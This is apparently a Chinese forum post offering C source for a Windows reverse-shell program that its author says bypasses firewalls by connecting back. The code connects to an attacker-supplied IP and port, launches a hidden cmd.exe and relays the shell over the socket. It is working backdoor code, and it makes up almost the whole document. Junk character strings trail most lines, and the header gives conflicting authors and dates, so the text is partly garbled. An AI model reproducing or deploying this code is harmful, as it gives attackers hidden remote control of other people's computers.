这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L]<4{8H.
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/* ============================== ", )
Rebound port in Windows NT <5~>.DuE
By wind,2006/7 ,m]q+7E
===============================*/ j~q`xv+R
#include F|Q#KwN
#include \9QOrjiw
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#pragma comment(lib,"wsock32.lib") &}1)]6q$
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void OutputShell(); $8r:&Iw
SOCKET sClient; hGV/P94
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !F)oX7"
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void main(int argc,char **argv) K^\9R
{ GK&Dd"v
WSADATA stWsaData; CV "Y40
int nRet; ||aU>Wj4
SOCKADDR_IN stSaiClient,stSaiServer; U2$T}/@
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if(argc != 3) sXu+F2O
{ y>8?RX8
printf("Useage:\n\rRebound DestIP DestPort\n"); oVW?d]R
return; }}_l@5
} EA.U>5Fq
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WSAStartup(MAKEWORD(2,2),&stWsaData); Xk'.t|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B!@0(A
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stSaiClient.sin_family = AF_INET; h6/Z_Y
stSaiClient.sin_port = htons(0); LKcrr;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {'!~j!1'j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QUf_fe!,|
{ c&&UT-Z
printf("Bind Socket Failed!\n"); 'oG'`ED"
return; Xl;N=fc
} .Ko`DH~!,C
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stSaiServer.sin_family = AF_INET; {NR~>=~K-
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) srL,9)OC
{ A7H=#L+C
printf("Connect Error!"); X*KT=q^?n
return; x%1Rp[
} Wm 61
OutputShell(); G1rgp>m
} Lst5
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void OutputShell() h.nz kp5
{ b11C3TyQT
char szBuff[1024]; k4v[2y`
SECURITY_ATTRIBUTES stSecurityAttributes; 1Q<a+
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OSVERSIONINFO stOsversionInfo; ;XT$rtuX
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'PZJ{8=
STARTUPINFO stStartupInfo; Ax
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char *szShell; ",a
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PROCESS_INFORMATION stProcessInformation; =B 9U
unsigned long lBytesRead; <3HJkcYGz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mYCGGwD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]#`bYh^y
stSecurityAttributes.lpSecurityDescriptor = 0; ZYG"nmNd
stSecurityAttributes.bInheritHandle = TRUE; fw<'ygd
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q07>FW R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rzp-Q5@MY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H_9~gi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AWw:N6\
stStartupInfo.wShowWindow = SW_HIDE; CXa$QSu >
stStartupInfo.hStdInput = hReadPipe; !)GPI?{^5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [X|P(&\hQd
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GetVersionEx(&stOsversionInfo); t;'__">:q
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switch(stOsversionInfo.dwPlatformId) S5j#&i
{ s;bqUY?LD
case 1: Q,>AT$|
szShell = "command.com"; m#uutomi0
break; akR*|iK#b
default: fSj^/>
szShell = "cmd.exe"; xMe[/7)4
break; 56fcifXz@
} )9}z^+TH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a}6Wo=
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send(sClient,szMsg,77,0); HR4^+x
while(1) Ax&+UxQ0|
{ {&xKSWNc
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +ft?aB@
if(lBytesRead) K1Uur>Pk%
{ (i {
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?]:3`;h3
send(sClient,szBuff,lBytesRead,0); 0 j6/H?OT
} f)>=.sp
else RK|C* TCnl
{ \ZXH(N*>2t
lBytesRead=recv(sClient,szBuff,1024,0); Z O&5C6qa
if(lBytesRead<=0) break; B&cC;Hw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tip\vS)
} fxjs"rD5
} [^#6.xH
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return; geua8;
}